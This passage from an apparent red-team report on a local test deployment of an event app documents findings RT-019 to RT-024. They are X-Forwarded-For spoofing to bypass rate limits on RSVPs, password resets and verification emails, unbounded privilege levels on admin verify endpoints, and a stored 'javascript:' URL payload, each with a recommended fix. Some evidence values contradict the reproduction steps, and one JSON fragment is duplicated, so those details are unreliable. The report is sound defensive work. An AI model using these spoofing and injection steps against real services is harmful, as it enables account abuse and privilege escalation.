  "body": {
    "registered": [],
    "guests": [
      {
        "name": "Guest PII",
        "email": "guest-pii@janata.local",
        "rsvpedAt": "2026-06-26 07:12:55"
      }
    ],
    "counts": {
      "registered": 0,
      "guests": 1,
      "total": 1
    }
  }
}
```

RT-019 - High - CVSS 7.2 - Guest RSVP can be spammed to inflate attendee counts by spoofing IP headers

Affected: POST /api/attendEventGuest, rateLimit

CWE: CWE-770 Allocation of Resources Without Limits

Root Cause

Public RSVP relies on spoofable-IP rate limiting and no captcha/email verification.

Reproduction Steps

- Send guest RSVPs with one X-Forwarded-For until 429.
- Repeat with varied X-Forwarded-For values.
- Fetch event and observe count inflated.

Recommended Fix

Use trusted IP, event-level throttles, CAPTCHA or email confirmation, and anomaly limits.

RT-019 Screenshot Evidence

RT-019: Guest RSVP can be spammed to inflate attendee counts by spoofing IP headers

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:59.238Z.

Same spoofed IP statuses

```
[
  200,
  200,
  200,
  200,
  200,
  429
]
```

Varied spoofed IP statuses

```
[
  200,
  200,
  200,
  200,
  200,
  200,
  200,
  200,
  200
]
```

Event count after spam

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventId": "45f28020-a621-4e51-a131-70ea28cb3d9a",
      "title": "RT26 Roster Downgrade Event",
      "description": "Roster proof",
      "date": "2026-09-03",
      "endDate": null,
      "isRecurring": false,
      "latitude": 37,
      "longitude": -122,
      "address": "Roster proof",
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "tier": 0,
      "peopleAttending": 14,
      "pointOfContact": null,
      "image": null,
      "category": 01,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": null,
      "signupUrl": null,
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:55.783Z",
      "updatedAt": "2026-06-26T07:12:59.222Z"
    }
  }
}
```

RT-020 - Medium - CVSS 6.8 - Admin user verification accepts unbounded privilege levels

Affected: POST /api/admin/users/:id/verify

CWE: CWE-269 Improper Privilege Management

Root Cause

Admin verify endpoint does not constrain verificationLevel to approved roles or prevent self-created super roles.

Reproduction Steps

- As admin, POST verificationLevel 1000008 for a normal user.
- Verify target token and observe elevated role.

Recommended Fix

Validate role transitions against an allowlist and require stronger controls for high-privilege grants.

RT-020 Screenshot Evidence

RT-020: Admin user verification accepts unbounded privilege levels

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:13:02.362Z.

Target before

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Token is valid",
    "user": {
      "id": "81bcfe3a-55ba-43d9-b05b-c06b0be2fc89",
      "username": "rt26.target@janata.local",
      "email": "rt26.target@janata.local",
      "firstName": "Target",
      "lastName": "QA",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "points": 0,
      "isVerified": true,
      "verificationLevel": 45,
      "isActive": true,
      "profileComplete": true,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:39.856Z",
      "updatedAt": "2026-06-26T07:12:39.856Z"
    }
  }
}
```

Admin verify response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "User verified",
    "isVerified": true
  }
}
```

Target after arbitrary level

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Token is valid",
    "user": {
      "id": "81bcfe3a-55ba-43d9-b05b-c06b0be2fc89",
      "username": "rt26.target@janata.local",
      "email": "rt26.target@janata.local",
      "firstName": "Target",
      "lastName": "QA",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "points": 0,
      "isVerified": true,
      "verificationLevel": 1000000,
      "isActive": true
    }
  }
}
```

```
    "isActive": true,  
    "profileComplete": true,  
    "interests": null,  
    "school": null,  
    "work": null,  
    "region": null,  
    "lookingFor": null,  
    "isSuspended": false,  
    "suspendedAt": null,  
    "suspendedUntil": null,  
    "suspendedReason": null,  
    "createdAt": "2026-06-26T07:12:39.856Z",  
    "updatedAt": "2026-06-26T07:13:00.900Z"  
  }  
}
```


RT-021 - Medium - CVSS 6.5 - Password reset requests can be spammed and invalidate prior codes

Affected: POST /api/auth/password-reset/request

CWE: CWE-770 Allocation of Resources Without Limits

Root Cause

Reset request throttling depends on spoofable IP and no per-account cooldown.

Reproduction Steps

- Send password reset requests for a known username with varied X-Forwarded-For.
- Observe multiple reset-code rows and only latest active.

Recommended Fix

Add per-account throttles, trusted-IP rate limiting, and abuse monitoring.

RT-021 Screenshot Evidence

RT-021: Password reset requests can be spammed and invalidate prior codes

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:13:05.737Z.

Reset row count before

```
0
```

Reset request statuses

```
[
  200,
  200,
  200,
  200,
  200,
  200
]
```

Reset row count after

```
{
  "count": 6,
  "active": 1
}
```

RT-022 - Medium - CVSS 5.9 - Email verification sends can be spammed by spoofing IP headers

Affected: POST /api/auth/send-verification-email

CWE: CWE-770 Allocation of Resources Without Limits

Root Cause

Rate limit is per spoofable IP, not per account/email.

Reproduction Steps

- Make target email unverified.
- Call send-verification-email repeatedly with varied X-Forwarded-For.
- Observe new token rows beyond nominal rate limit.

Recommended Fix

Add per-account/email cooldown and trusted-IP enforcement.

RT-022 Screenshot Evidence

RT-022: Email verification sends can be spammed by spoofing IP headers

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:13:10.447Z.

Token count before

1

Send statuses

```
[
  {
    "status": 200,
    "body": {
      "message": "Verification email sent"
    }
  },
  {
    "status": 200,
    "body": {
      "message": "Verification email sent"
    }
  },
  {
    "status": 200,
    "body": {
      "message": "Verification email sent"
    }
  },
  {
    "status": 200,
    "body": {
      "message": "Verification email sent"
    }
  },
  {
    "status": 200,
    "body": {
      "message": "Verification email sent"
    }
  }
]
```

Token count after

6

RT-023 - Medium - CVSS 6.1 - Admin event update endpoint lacks URL validation

Affected: PUT /api/admin/events/:id

CWE: CWE-20 Improper Input Validation

Root Cause

Admin event update duplicates update logic without strict schemas.

Reproduction Steps

- As admin, PUT javascript: URL fields to /api/admin/events/:id.
- Fetch event and observe stored URL.

Recommended Fix

Use shared validated schema for all event mutations.

RT-023 Screenshot Evidence

RT-023: Admin event update endpoint lacks URL validation

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:13:10.634Z.

Admin event update response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Event updated"
  }
}
```

Fetches event after admin update

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "45f28020-a621-4e51-a131-70ea28cb3d9a",
      "title": "RT26 Roster Downgrade Event",
      "description": "Roster proof",
      "date": "2026-09-03",
      "endDate": null,
      "isRecurring": false,
      "latitude": 37,
      "longitude": -122,
      "address": "Roster proof",
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "tier": 0,
      "peopleAttending": 14,
      "pointOfContact": null,
      "image": null,
      "category": 91,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": "javascript:alert('rt26')",
      "signupUrl": "javascript:alert('rt26')",
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:55.783Z",
      "updatedAt": "2026-06-26T07:13:10.619Z"
    }
  }
}
```

RT-024 - Medium - CVSS 6.8 - Legacy verifyUser endpoint accepts arbitrary privilege levels

Affected: POST /api/verifyUser

CWE: CWE-269 Improper Privilege Management

Root Cause

Legacy endpoint has no role allowlist or upper bound.

Reproduction Steps

- As admin, POST /api/verifyUser with verificationLevel 1008.
- Verify target role changed.

Recommended Fix

Remove legacy endpoint or validate levels exactly like the modern admin path should.

RT-024 Screenshot Evidence

RT-024: Legacy verifyUser endpoint accepts arbitrary privilege levels

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:13:12.318Z.

Legacy verifyUser response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Verification successful."
  }
}
```

Target after legacy verify

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Token is valid",
    "user": {
      "id": "81bcfe3a-55ba-43d9-b05b-c06b0be2fc89",
      "username": "rt26.target@janata.local",
      "email": "rt26.target@janata.local",
      "firstName": "Target",
      "lastName": "QA",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "points": 0,
      "isVerified": true,
      "verificationLevel": 1008,
      "isActive": true,
      "profileComplete": true,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:39.856Z",
      "updatedAt": "2026-06-26T07:13:10.790Z"
    }
  }
}
```